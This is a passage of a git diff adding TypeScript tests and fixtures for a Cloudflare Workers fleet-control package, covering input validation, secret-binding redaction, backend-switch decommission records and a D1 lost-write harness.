unsupported or malformed provider binding', + ); + } + let bindingAccessorReads = 0; + const accessorBinding = { + type: 'service', + name: 'ACCESSOR', + get service() { + bindingAccessorReads += 1; + return 'upstream'; + }, + }; + expect(providerBindingsToPlainWorkerShape([accessorBinding])).toEqual([ + { + type: 'unsupported', + name: 'ACCESSOR', + providerType: 'service', + issue: 'malformed-supported-binding', + }, + ]); + expect(bindingAccessorReads).toBe(0); }); it('uploads initial and staged versions with one JSON metadata part in provider order', async () => { diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index 7281b08c..480b12ed 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -15,6 +15,7 @@ import type { import { envelope, fenced, + pageArray, testRateCoordinator, zoneAuthorityResponse, } from './fixtures/cloudflare-fetch-fixture.js'; @@ -1129,6 +1130,9 @@ describe('CloudflareProvisioningClient', () => { return envelope([ { id: 'ns-wfp', script: 'fleet-wfp' }, { id: 'ns-plain', script: 'fleet-plain' }, + { id: 'Z', script: 'other' }, + { id: 'z', script: 'other' }, + { id: 'é', script: 'other' }, ]); } throw new Error(`unexpected Cloudflare request: ${url.href}`); @@ -1212,6 +1216,150 @@ describe('CloudflareProvisioningClient', () => { await expect(client.hasDurableObjectNamespace('ns-absent')).resolves.toBe( false, ); + const namespaceRequestCount = () => + request.mock.calls.filter(([input]) => { + const url = new URL( + typeof input === 'string' + ? input + : input instanceof URL + ? input.href + : input.url, + ); + return url.pathname.endsWith('/workers/durable_objects/namespaces'); + }).length; + let priorNamespaceRequests = namespaceRequestCount(); + await expect(client.existingDurableObjectNamespaceIds([])).resolves.toEqual( + [], + ); + expect(namespaceRequestCount()).toBe(priorNamespaceRequests); + await expect( + client.existingDurableObjectNamespaceIds([ + 'ns-plain', + 'missing', + 'ns-wfp', + 'ns-plain', + 'é', + 'z', + 'Z', + ]), + ).resolves.toEqual(['Z', 'ns-plain', 'ns-wfp', 'z', 'é']); + const namespaceTraversalRequests = + namespaceRequestCount() - priorNamespaceRequests; + expect(namespaceTraversalRequests).toBeGreaterThan(0); + priorNamespaceRequests = namespaceRequestCount(); + const maximumIds = Array.from( + { length: 10_000 }, + (_, index) => `namespace-${index}`, + ); + maximumIds[0] = 'ns-wfp'; + await expect( + client.existingDurableObjectNamespaceIds(maximumIds), + ).resolves.toEqual(['ns-wfp']); + expect(namespaceRequestCount()).toBe( + priorNamespaceRequests + namespaceTraversalRequests, + ); + priorNamespaceRequests = namespaceRequestCount(); + const maximumUtf8Id = 'é'.repeat(2_048); + await expect( + client.existingDurableObjectNamespaceIds([maximumUtf8Id]), + ).resolves.toEqual([]); + expect(namespaceRequestCount()).toBe( + priorNamespaceRequests + namespaceTraversalRequests, + ); + priorNamespaceRequests = namespaceRequestCount(); + + let accessorReads = 0; + const accessorArray = ['safe']; + Object.defineProperty(accessorArray, '0', { + enumerable: true, + configurable: true, + get() { + accessorReads += 1; + return 'unsafe'; + }, + }); + const symbolArray = ['safe']; + Object.assign(symbolArray, { [Symbol('extra')]: true }); + const extraArray = Object.assign(['safe'], { extra: true }); + const holeArray = new Array(1); + const nonArrayPrototype = ['safe']; + Object.setPrototypeOf(nonArrayPrototype, null); + const indexNotWritable = ['safe']; + Object.defineProperty(indexNotWritable, '0', { writable: false }); + const indexNotEnumerable = ['safe']; + Object.defineProperty(indexNotEnumerable, '0', { enumerable: false }); + const indexNotConfigurable = ['safe']; + Object.defineProperty(indexNotConfigurable, '0', { configurable: false }); + const lengthNotWritable = ['safe']; + Object.defineProperty(lengthNotWritable, 'length', { writable: false }); + const transparentProxy = new Proxy(['safe'], {}); + const revoked = Proxy.revocable(['safe'], {}); + revoked.revoke(); + const malformedRows: readonly (readonly [string, unknown])[] = [ + ['nonarray', { 0: 'safe', length: 1 }], + ['hole', holeArray], + ['accessor', accessorArray], + ['symbol', symbolArray], + ['extra string', extraArray], + ['non-Array prototype', nonArrayPrototype], + ['nonwritable index', indexNotWritable], + ['nonenumerable index', indexNotEnumerable], + ['nonconfigurable index', indexNotConfigurable], + ['nonwritable length', lengthNotWritable], + ['transparent proxy', transparentProxy], + ['revoked proxy', revoked.proxy], + ['empty id', ['']], + ['non-string id', [1]], + ['overlong UTF-8 id', [`${maximumUtf8Id}a`]], + [ + '10,001 distinct ids', + Array.from({ length: 10_001 }, (_, index) => `id-${index}`), + ], + ['10,001 duplicate ids', Array.from({ length: 10_001 }, () => 'same')], + ]; + for (const [label, value] of malformedRows) { + let error: unknown; + try { + await client.existingDurableObjectNamespaceIds(value as never); + } catch (caught) { + error = caught; + } + expect({ label, error: (error as Error | undefined)?.message }).toEqual({ + label, + error: 'Durable Object namespace ID inventory is malformed', + }); + expect(namespaceRequestCount(), label).toBe(priorNamespaceRequests); + } + expect(accessorReads).toBe(0); + + const iteratorFailure = new Error('namespace iterator failed after match'); + let iteratorPage = 0; + const iteratorClient = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + rateCoordinator: testRateCoordinator(), + dispatchNamespace: 'fleet', + fetch: async () => { + iteratorPage += 1; + if (iteratorPage === 1) { + return pageArray([{ id: 'ns-wfp', script: 'fleet-wfp' }], { + page: 1, + per_page: 1, + count: 1, + total_count: 2, + total_pages: 2, + }); + } + throw iteratorFailure; + }, + }); + const iteratorRejection = await iteratorClient + .existingDurableObjectNamespaceIds(['ns-wfp']) + .catch((error: unknown) => error); + expect((iteratorRejection as Error & { cause?: unknown }).cause).toBe( + iteratorFailure, + ); + expect(iteratorPage).toBeGreaterThan(1); expect(inventory.findings.map((finding) => finding.kind)).toEqual( expect.arrayContaining([ 'malformed-script-registration', diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index 4fa60276..39ac1c0c 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -16,6 +16,7 @@ import { type FleetStateLease, type FleetStateStore, } from '../src/types.js'; +import { restProjection } from './fixtures/cloudflare-fetch-fixture.js'; import { assertHarnessFailuresConsumed, buildPlainWorkerSpec, @@ -90,6 +91,96 @@ function mapping(record: FleetRecord) { }; } +function secretBinding( + bindings: readonly unknown[], + name = 'DEPLOYMENT_IDENTITY_SECRET', +): object { + const binding = bindings.find( + (candidate) => + candidate !== null && + typeof candidate === 'object' && + Reflect.get(candidate, 'type') === 'secret_text' && + Reflect.get(candidate, 'name') === name, + ); + if (!binding || typeof binding !== 'object') { + throw new Error(`missing secret binding '${name}'`); + } + return binding; +} + +async function responseBindings( + response: Response, +): Promise { + const envelope: unknown = await response.json(); + const result = + envelope && typeof envelope === 'object' + ? Reflect.get(envelope, 'result') + : undefined; + const resources = + result && typeof result === 'object' + ? Reflect.get(result, 'resources') + : undefined; + const bindings = + resources && typeof resources === 'object' + ? Reflect.get(resources, 'bindings') + : undefined; + if (!Array.isArray(bindings)) { + throw new Error('projected version response has no binding array'); + } + return bindings; +} + +async function assertVersionProjectionRedaction( + world: ProviderWorld, + spec: DeploymentSpec, +): Promise { + const script = world.scripts.get(spec.scriptName); + const sourceVersion = script?.versions[0]; + if (!sourceVersion) throw new Error('ready source has no Worker version'); + expect(Reflect.get(secretBinding(sourceVersion.bindings), 'text')).toBe( + sharedSecrets.deploymentIdentity, + ); + + const responseWorld = world.clone(); + const stagedResponse = await restProjection(responseWorld)({ + method: 'POST', + url: `https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/${spec.scriptName}/versions`, + body: { + metadata: { + annotations: { 'workers/tag': 'staged-response-proof' }, + bindings: sourceVersion.bindings, + main_module: 'worker.js', + }, + files: [], + }, + headers: new Headers(), + redirect: undefined, + }); + const stagedSecret = secretBinding(await responseBindings(stagedResponse)); + expect(Reflect.ownKeys(stagedSecret).sort()).toEqual(['name', 'type']); + expect( + Reflect.get( + secretBinding( + responseWorld.scripts.get(spec.scriptName)?.versions[0]?.bindings ?? [], + ), + 'text', + ), + ).toBe(sharedSecrets.deploymentIdentity); + + const exactResponse = await restProjection(world)({ + method: 'GET', + url: `https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/${spec.scriptName}/versions/${sourceVersion.versionId}`, + body: undefined, + headers: new Headers(), + redirect: undefined, + }); + const exactSecret = secretBinding(await responseBindings(exactResponse)); + expect(Reflect.ownKeys(exactSecret).sort()).toEqual(['name', 'type']); + expect(Reflect.get(secretBinding(sourceVersion.bindings), 'text')).toBe( + sharedSecrets.deploymentIdentity, + ); +} + function worldFacts(world: ProviderWorld) { return { scripts: [...world.scripts.entries()].map(([name, script]) => ({ @@ -675,6 +766,7 @@ describe('ordinary Worker cross-backend continuation', () => { const source = wrangler(); const ready = await provision(source, spec); + await assertVersionProjectionRedaction(source.world, spec); const beforeWorker = source.store.snapshots.find( ({ record }) => record.phase === 'application-resources-deployed', ); @@ -753,6 +845,36 @@ describe('ordinary Worker cross-backend continuation', () => { const databaseDeletion = directHarness(source.world.clone()); databaseDeletion.store.record = structuredClone(ready.record); + if ( + typeof databaseDeletion.backend.advanceDecommissionAttachmentScan !== + 'function' || + typeof databaseDeletion.backend.exportDatabaseReceipt !== 'function' || + databaseDeletion.backend.databaseExportReceiptAuthority === undefined || + typeof databaseDeletion.backend.assertDatabaseDeletionResidualsRemoved !== + 'function' + ) { + throw new Error('direct continuation has no bounded teardown capability'); + } + const boundedScan = vi.spyOn( + databaseDeletion.backend, + 'advanceDecommissionAttachmentScan', + ); + const boundedReceipt = vi.spyOn( + databaseDeletion.backend, + 'exportDatabaseReceipt', + ); + const boundedResiduals = vi.spyOn( + databaseDeletion.backend, + 'assertDatabaseDeletionResidualsRemoved', + ); + const legacyAttachments = vi + .spyOn(databaseDeletion.backend, 'assertDatabaseDetached') + .mockRejectedValue( + new Error('bounded continuation used legacy attachment enumeration'), + ); + const legacyExport = vi + .spyOn(databaseDeletion.backend, 'exportDatabase') + .mockRejectedValue(new Error('bounded continuation used legacy export')); databaseDeletion.world.failNext('deleteDatabase', { dispatched: true }); const databaseDeleted = await decommissionDeployment({ backend: databaseDeletion.backend, @@ -761,6 +883,11 @@ describe('ordinary Worker cross-backend continuation', () => { }); expect(databaseDeleted.record.phase).toBe('decommissioned'); expect(databaseDeletion.world.databases).toEqual([]); + expect(boundedScan).toHaveBeenCalled(); + expect(boundedReceipt).toHaveBeenCalledTimes(1); + expect(boundedResiduals).toHaveBeenCalled(); + expect(legacyAttachments).not.toHaveBeenCalled(); + expect(legacyExport).not.toHaveBeenCalled(); expect( databaseDeletion.world.mutationLog.filter( (entry) => entry === `delete-database:${ready.record.databaseId}`, diff --git a/packages/fleet-control/test/decommission-intent.test.ts b/packages/fleet-control/test/decommission-intent.test.ts index 26d49b29..44394028 100644 --- a/packages/fleet-control/test/decommission-intent.test.ts +++ b/packages/fleet-control/test/decommission-intent.test.ts @@ -18,9 +18,11 @@ import { decommissionAdvanceIntentFromUnknown, parseDecommissionAdvanceToken, } from '../src/decommission-intent.js'; +import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; import { type ApplicationR2Resource, assertNoActiveDecommission, + type BackendSwitchIntent, type DecommissionAdvanceIntent, type DecommissionAttachmentPurpose, effectiveLifecyclePhase, @@ -28,6 +30,7 @@ import { type NormalDecommissionLifecyclePhase, PROVISIONING_PHASES, } from '../src/types.js'; +import { backendSwitchDecommissionRecordFixture } from './fixtures/decommission-intent-fixture.js'; const OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab'; const DATABASE_ID = '00000000-0000-0000-0000-000000000001'; @@ -110,6 +113,72 @@ function identity( }; } +function backendSwitchRecord(): FleetRecord { + const base = fleetRecord({ + backend: 'workers-for-platforms', + phase: 'ready', + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }); + const outboundPolicy = canonicalDeploymentEgressPolicy({ + policyId: 'policy-acme', + tenantTag: base.tenantTag, + environment: base.environment, + allowedHosts: [], + }); + const target = { + maintenanceCapabilityPublicKey: + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}', + stateArtifactDigest: 'd'.repeat(64), + stateDurableObjectHistoryDigest: 'e'.repeat(64), + egressArtifactDigest: 'f'.repeat(64), + d1SchemaVersion: base.schemaVersion, + d1SchemaHistoryDigest: '1'.repeat(64), + outboundPolicy, + } as const; + const prior = { + scriptName: base.scriptName, + artifactVersion: base.artifactVersion, + specDigest: base.desiredSpecDigest, + databaseId: base.databaseId, + databaseName: base.databaseName, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + application: { vars: [], secrets: [], r2Buckets: [] }, + applicationResources: [], + customDomain: { id: 'domain-acme', hostname: base.routeHostname }, + } as const; + const decommissionSnapshot = { + prior, + restoredArtifactVersion: null, + entryPendingArtifactVersion: null, + entryPendingNamespaceIds: null, + providerTargetSpecDigest: base.desiredSpecDigest, + routeHostname: base.routeHostname, + routeTargets: [], + desiredSpecDigest: base.desiredSpecDigest, + target, + releases: [], + applicationResources: [], + } as const; + const intent: BackendSwitchIntent = { + kind: 'backend-switch', + tenantTag: base.tenantTag, + environment: base.environment, + prior, + targetSpecDigest: base.desiredSpecDigest, + targetApplication: { vars: [], secrets: [], r2Buckets: [] }, + target, + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase: 'decommission-traffic-authorized', + decommissionSnapshot, + }; + return backendSwitchDecommissionRecordFixture(base, intent, { + entrySubphase: 'finalized', + }); +} + function common( lifecyclePhase: NormalDecommissionLifecyclePhase, overrides: Partial<{ @@ -1182,4 +1251,69 @@ describe('decommission advance intent', () => { ), ).toThrow(DecommissionAdvanceTokenDeploymentError); }); + + it('round-trips exact backend-switch decommission identities', () => { + const source = backendSwitchRecord(); + const parsed = decommissionAdvanceIntentFromUnknown( + structuredClone(source.decommissionIntent), + source, + ); + + expect(parsed).toEqual(source.decommissionIntent); + expect(parsed.identity.mode).toMatchObject({ + kind: 'backend-switch', + priorSpecDigest: DIGEST, + targetSpecDigest: DIGEST, + backendSwitchSubphase: 'finalized', + }); + expect(effectiveLifecyclePhase(source)).toBe('decommissioning'); + expect(() => assertNoActiveDecommission(source, 'test')).toThrow( + 'test cannot run during an active decommission', + ); + }); + + it('rejects unreachable switch snapshot subphase and receipt combinations', () => { + const source = backendSwitchRecord(); + const shell = source.decommissionIntent; + const switchIntent = source.backendSwitchIntent; + if (!shell || !switchIntent) + throw new Error('switch fixture is incomplete'); + + const unreachable: FleetRecord = { + ...source, + backendSwitchIntent: { + ...switchIntent, + subphase: 'planned', + }, + }; + expect(() => + decommissionAdvanceIntentFromUnknown(shell, unreachable), + ).toThrow(DecommissionAdvanceIntentError); + + expect(() => + decommissionAdvanceIntentFromUnknown( + { + ...shell, + identity: { + ...shell.identity, + mode: { + ...shell.identity.mode, + decommissionSnapshotSha256: '9'.repeat(64), + }, + }, + }, + source, + ), + ).toThrow(DecommissionAdvanceIntentError); + + expect(() => + decommissionAdvanceIntentFromUnknown( + { + ...shell, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }, + source, + ), + ).toThrow(DecommissionAdvanceIntentError); + }); }); diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index c341c300..06c7867e 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -263,6 +263,21 @@ export function recordingFetch( return { fetch: fixtureFetch, requests, probes, events }; } +function versionViewBindings(bindings: readonly unknown[]): readonly unknown[] { + return bindings.map((binding) => { + const cloned = structuredClone(binding); + if ( + !cloned || + typeof cloned !== 'object' || + Array.isArray(cloned) || + Reflect.get(cloned, 'type') !== 'secret_text' + ) { + return cloned; + } + return { name: Reflect.get(cloned, 'name'), type: 'secret_text' }; + }); +} + export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { return async (request) => { const { method, url, body } = request; @@ -686,7 +701,9 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { const version = versions[0]; return single({ id: version?.versionId, - resources: { bindings: version?.bindings ?? [] }, + resources: { + bindings: versionViewBindings(version?.bindings ?? []), + }, }); } const versionId = parts.at(-1); @@ -705,7 +722,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { version.tag === undefined ? undefined : { 'workers/tag': version.tag }, - resources: { bindings: version.bindings }, + resources: { bindings: versionViewBindings(version.bindings) }, }); } if (target.pathname.endsWith('/subdomain') && method === 'GET') { diff --git a/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts index 2db22a61..6259bc17 100644 --- a/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts +++ b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts @@ -1,6 +1,16 @@ // SPDX-License-Identifier: Apache-2.0 +import { + backendSwitchDecommissionShell, + backendSwitchDecommissionSnapshotDigest, + backendSwitchIntentFromUnknown, + normalizeSwitchDecommissionEntry, +} from '../../src/backend-switch.js'; +import { normalizeDecommissionAdvanceIntent } from '../../src/decommission-intent.js'; import type { + BackendSwitchIntent, + BackendSwitchSubphase, + DecommissionAdvanceIntent, DecommissionIntentCommon, FleetRecord, NormalDecommissionLifecyclePhase, @@ -68,3 +78,109 @@ export function decommissionAdvancingRecordFixture( }, }; } + +export interface BackendSwitchDecommissionRecordFixtureOptions { + readonly operationId?: string; + readonly revision?: number; + readonly generation?: number; + readonly entrySubphase?: BackendSwitchSubphase; + readonly subphase?: BackendSwitchSubphase; + readonly updatedAt?: string; +} + +export function backendSwitchDecommissionRecordFixture( + record: FleetRecord, + intent: BackendSwitchIntent, + options: BackendSwitchDecommissionRecordFixtureOptions = {}, +): FleetRecord { + const canonicalIntent = backendSwitchIntentFromUnknown({ + ...intent, + subphase: options.subphase ?? 'decommission-traffic-authorized', + }); + const snapshot = canonicalIntent.decommissionSnapshot; + if (!snapshot) { + throw new Error('backend-switch fixture requires a decommission snapshot'); + } + const entrySubphase = options.entrySubphase ?? 'finalized'; + const snapshotSha256 = backendSwitchDecommissionSnapshotDigest(snapshot); + const switchIntent = backendSwitchIntentFromUnknown({ + ...canonicalIntent, + decommissionSnapshotSha256: snapshotSha256, + decommissionEntrySubphase: entrySubphase, + }); + const updatedAt = options.updatedAt ?? record.updatedAt; + if (switchIntent.subphase === 'decommissioned') { + const databaseExport = switchIntent.databaseExport; + if (!databaseExport) { + throw new Error( + 'terminal backend-switch fixture requires a database export', + ); + } + const shell: Extract< + DecommissionAdvanceIntent, + { readonly state: 'complete' } + > = { + version: 1, + operationId: + options.operationId ?? '00000000-0000-4000-8000-000000000002', + revision: options.revision ?? 0, + generation: options.generation ?? 0, + updatedAt, + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + mode: { + kind: 'backend-switch' as const, + priorSpecDigest: switchIntent.prior.specDigest, + targetSpecDigest: switchIntent.targetSpecDigest, + decommissionSnapshotSha256: snapshotSha256, + backendSwitchSubphase: entrySubphase, + }, + }, + databaseExportReceiptAuthority: + 'memory://fleet-exports/backend-switch/receipts/v1', + lifecyclePhase: 'decommissioned' as const, + state: 'complete' as const, + }; + const normalized = normalizeSwitchDecommissionEntry( + record, + switchIntent, + shell, + ); + const complete: FleetRecord = { + ...normalized, + phase: 'decommissioned', + databaseExportLocation: databaseExport.location, + databaseExportSha256: databaseExport.sha256, + databaseExportSize: databaseExport.size, + }; + return { + ...complete, + decommissionIntent: normalizeDecommissionAdvanceIntent(shell, complete), + }; + } + const shell = backendSwitchDecommissionShell({ + record, + intent: switchIntent, + operationId: options.operationId ?? '00000000-0000-4000-8000-000000000002', + snapshotSha256, + entrySubphase, + now: updatedAt, + }); + const normalized = normalizeSwitchDecommissionEntry( + record, + switchIntent, + shell, + ); + return { + ...normalized, + decommissionIntent: normalizeDecommissionAdvanceIntent(shell, normalized), + }; +} diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index fe2f6f2d..81906a25 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -6,6 +6,7 @@ import { reserveApplicationR2Resources, } from '../../src/application-bindings.js'; import { D1CloudflareApiRateCoordinator } from '../../src/cloudflare-rate-coordinator.js'; +import { initialWorkerAttachmentScan } from '../../src/cloudflare-worker-attachment-scan-state.js'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { advanceDecommissionDeployment } from '../../src/decommission-advance.js'; import { @@ -25,6 +26,7 @@ import type { DatabaseExport, DatabaseExportReceiptIdentity, DatabaseReference, + DecommissionAdvanceIntent, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, DeploymentSpec, @@ -35,7 +37,10 @@ import type { PlatformPlaneResourceSet, ProvisioningBackend, } from '../../src/types.js'; -import { decommissionAdvancingRecordFixture } from './decommission-intent-fixture.js'; +import { + backendSwitchDecommissionRecordFixture, + decommissionAdvancingRecordFixture, +} from './decommission-intent-fixture.js'; interface Env { DB: D1Database; @@ -1710,6 +1715,323 @@ async function finalLeaseAssertionRollback(db: D1Database): Promise { }; } +const SWITCH_LOST_TENANT = 'switchlost'; +const SWITCH_LOST_RECEIPT_AUTHORITY = + 'memory://fleet-exports/backend-switch/receipts/v1'; +const SWITCH_LOST_EXPORT: DatabaseExport = { + databaseId: 'database-switchlost-production', + location: 'memory://fleet-exports/backend-switch/switchlost.sql', + sha256: 'f'.repeat(64), + size: 37, +}; + +type BackendSwitchLostWriteStage = + | 'reset' + | 'start' + | 'cursor' + | 'receipt' + | 'barrier' + | 'terminal'; + +function backendSwitchLostWriteSource(): FleetRecord { + const base = record(SWITCH_LOST_TENANT, 'production'); + const outboundPolicy = canonicalDeploymentEgressPolicy({ + policyId: 'policy-switchlost', + tenantTag: base.tenantTag, + environment: base.environment, + allowedHosts: [], + }); + const target = { + maintenanceCapabilityPublicKey: platformSet.maintenanceCapabilityPublicKey, + stateArtifactDigest: 'a'.repeat(64), + stateDurableObjectHistoryDigest: 'b'.repeat(64), + egressArtifactDigest: 'c'.repeat(64), + d1SchemaVersion: base.schemaVersion, + d1SchemaHistoryDigest: 'd'.repeat(64), + outboundPolicy, + } as const; + const current: FleetRecord = { + ...base, + backend: 'workers-for-platforms', + outboundPolicy, + platformTarget: target, + platformResources: { + maintenanceCapabilityPublicKey: + platformSet.maintenanceCapabilityPublicKey, + outboundPolicy, + stateWorker: { + scriptName: base.scriptName, + artifactVersion: 'bridge-switchlost-v1', + artifactDigest: target.stateArtifactDigest, + plane: 'ordinary', + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: 'switchlost-production-egress', + artifactVersion: 'egress-switchlost-v1', + artifactDigest: target.egressArtifactDigest, + ...outboundPolicy, + }, + }, + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }; + const prior = { + scriptName: current.scriptName, + artifactVersion: current.artifactVersion, + specDigest: current.desiredSpecDigest, + databaseId: current.databaseId, + databaseName: current.databaseName, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + application: { vars: [], secrets: [], r2Buckets: [] }, + applicationResources: [], + customDomain: { + id: 'domain-switchlost', + hostname: current.routeHostname, + }, + } as const; + return backendSwitchDecommissionRecordFixture( + current, + { + kind: 'backend-switch', + tenantTag: current.tenantTag, + environment: current.environment, + prior, + targetSpecDigest: current.desiredSpecDigest, + targetApplication: { vars: [], secrets: [], r2Buckets: [] }, + target, + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase: 'decommission-export-authorized', + applicationR2Progress: [], + decommissionSnapshot: { + prior, + restoredArtifactVersion: null, + entryPendingArtifactVersion: null, + entryPendingNamespaceIds: null, + providerTargetSpecDigest: current.desiredSpecDigest, + routeHostname: current.routeHostname, + routeTargets: [], + desiredSpecDigest: current.desiredSpecDigest, + target, + releases: [], + applicationResources: [], + }, + }, + { subphase: 'decommission-export-authorized' }, + ); +} + +function backendSwitchShellCommon( + shell: DecommissionAdvanceIntent, + revision: number, + updatedAt: string, +): Omit< + Extract, + 'lifecyclePhase' | 'state' +> { + return { + version: 1, + operationId: shell.operationId, + revision, + generation: shell.generation, + updatedAt, + identity: shell.identity, + ...(shell.databaseExportReceiptAuthority + ? { + databaseExportReceiptAuthority: shell.databaseExportReceiptAuthority, + } + : {}), + }; +} + +function backendSwitchLostWriteNext( + current: FleetRecord, + stage: Exclude, +): FleetRecord { + const intent = current.backendSwitchIntent; + const shell = current.decommissionIntent; + if (!intent || !shell || shell.state === 'complete') { + throw new Error('bounded backend-switch harness authority is absent'); + } + const revision = shell.revision + 1; + const updatedAt = `2026-08-30T00:00:${String(revision).padStart(2, '0')}.000Z`; + const common = backendSwitchShellCommon(shell, revision, updatedAt); + if (stage === 'cursor') { + const decommissionIntent: DecommissionAdvanceIntent = { + ...common, + databaseExportReceiptAuthority: SWITCH_LOST_RECEIPT_AUTHORITY, + lifecyclePhase: 'application-resources-deleted', + state: 'discover', + purpose: { + kind: 'database-pre-export', + databaseId: current.databaseId, + }, + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: current.databaseId, + }), + }; + return { + ...current, + decommissionIntent, + updatedAt, + }; + } + if (stage === 'receipt') { + const decommissionIntent: DecommissionAdvanceIntent = { + ...common, + databaseExportReceiptAuthority: SWITCH_LOST_RECEIPT_AUTHORITY, + lifecyclePhase: 'database-exported', + state: 'transitioning', + }; + return { + ...current, + backendSwitchIntent: { + ...intent, + subphase: 'decommission-exported', + databaseExport: SWITCH_LOST_EXPORT, + }, + decommissionIntent, + databaseExportLocation: SWITCH_LOST_EXPORT.location, + databaseExportSha256: SWITCH_LOST_EXPORT.sha256, + databaseExportSize: SWITCH_LOST_EXPORT.size, + updatedAt, + }; + } + if (stage === 'barrier') { + const decommissionIntent: DecommissionAdvanceIntent = { + ...common, + databaseExportReceiptAuthority: SWITCH_LOST_RECEIPT_AUTHORITY, + lifecyclePhase: 'database-deleting', + state: 'transitioning', + }; + return { + ...current, + backendSwitchIntent: { + ...intent, + subphase: 'decommission-database-authorized', + }, + decommissionIntent, + updatedAt, + }; + } + return backendSwitchDecommissionRecordFixture( + current, + { + ...intent, + subphase: 'decommissioned', + databaseExport: SWITCH_LOST_EXPORT, + applicationR2Progress: [], + }, + { + operationId: shell.operationId, + revision, + generation: shell.generation, + ...(intent.decommissionEntrySubphase + ? { entrySubphase: intent.decommissionEntrySubphase } + : {}), + subphase: 'decommissioned', + updatedAt, + }, + ); +} + +async function backendSwitchLostWriteStep( + db: D1Database, + input: Readonly<{ + stage: BackendSwitchLostWriteStage; + loseWrite?: boolean; + }>, +): Promise { + if (input.stage === 'reset') { + await readyStore(db); + await db + .prepare( + `DELETE FROM ${STATE_TABLE} WHERE tenant_tag = ? AND environment = 'production'`, + ) + .bind(SWITCH_LOST_TENANT) + .run(); + await db + .prepare( + `DELETE FROM ${LEASE_TABLE} WHERE tenant_tag = ? AND environment = 'production'`, + ) + .bind(SWITCH_LOST_TENANT) + .run(); + await db + .prepare(`DELETE FROM ${PLATFORM_CLAIM_TABLE} WHERE resource_set_key = ?`) + .bind(`deployment:${SWITCH_LOST_TENANT}:production`) + .run(); + return { reset: true }; + } + const delegate = new D1FleetStateDatabase(db); + let lostWriteCount = 0; + const database: FleetStateDatabase = { + query: (sql, bindings = []) => delegate.query(sql, bindings), + execute: (sql, bindings = []) => delegate.execute(sql, bindings), + async batch(statements) { + const results = await delegate.batch(statements); + if ( + input.loseWrite && + lostWriteCount === 0 && + statements.some(({ sql }) => sql.includes(`INSERT INTO ${STATE_TABLE}`)) + ) { + lostWriteCount += 1; + throw new Error('bounded backend-switch D1 write response lost'); + } + return results; + }, + }; + const store = new D1FleetStateStore(database, { + accountId: 'account-primary', + }); + const current = await store.get(SWITCH_LOST_TENANT, 'production'); + const next = + input.stage === 'start' + ? backendSwitchLostWriteSource() + : current + ? backendSwitchLostWriteNext(current, input.stage) + : (() => { + throw new Error('bounded backend-switch harness record is absent'); + })(); + await store.withDeploymentLease(SWITCH_LOST_TENANT, 'production', (lease) => + lease.put(next), + ); + const persisted = await new D1FleetStateStore(new D1FleetStateDatabase(db), { + accountId: 'account-primary', + }).get(SWITCH_LOST_TENANT, 'production'); + const raw = await db + .prepare( + `SELECT backend_switch_intent, decommission_intent + FROM ${STATE_TABLE} + WHERE tenant_tag = ? AND environment = 'production'`, + ) + .bind(SWITCH_LOST_TENANT) + .first<{ + backend_switch_intent: string | null; + decommission_intent: string | null; + }>(); + return { + lostWriteCount, + phase: persisted?.phase, + switchSubphase: persisted?.backendSwitchIntent?.subphase, + shellState: persisted?.decommissionIntent?.state, + shellRevision: persisted?.decommissionIntent?.revision, + lifecyclePhase: persisted?.decommissionIntent?.lifecyclePhase, + scanStage: + persisted?.decommissionIntent?.state === 'discover' || + persisted?.decommissionIntent?.state === 'verify' + ? persisted.decommissionIntent.progress.stage + : undefined, + databaseExportLocation: persisted?.databaseExportLocation, + columnsPresent: + typeof raw?.backend_switch_intent === 'string' && + typeof raw.decommission_intent === 'string', + }; +} + async function backendSwitchColumnUpgrade(db: D1Database): Promise { const store = await readyStore(db); const base = record('legacyswitch', 'production'); @@ -2011,6 +2333,16 @@ export default { return 